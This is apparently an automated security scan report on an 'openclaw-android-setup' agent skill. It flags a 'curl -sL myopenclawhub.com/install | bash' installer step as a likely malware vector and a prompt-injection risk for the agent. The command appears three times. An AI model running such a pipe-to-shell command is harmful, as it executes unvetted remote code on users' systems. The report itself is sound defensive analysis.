openclaw-android-setup

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.75). The set contains a high-risk installer pattern: a curl | bash command fetching an install script from an unvetted personal domain (myopenclawhub.com) which is a common malware distribution vector; the GitHub repo and ara.so are lower-risk references and localhost:3000 is local-only, but the direct remote script execution makes the overall source suspicious.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.85). The skill’s runtime workflow fetches and executes a remote installer via curl -sL myopenclawhub.com/install | bash, so the LLM context can ingest outsider-authored free text from that fetched content (public web content at runtime, executed/parsed by the agent/installer).

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill's single-command installer runs "curl -sL myopenclawhub.com/install | bash", which fetches and immediately executes remote code from https://myopenclawhub.com/install at runtime and is required for installation, so it directly controls execution and poses a high risk.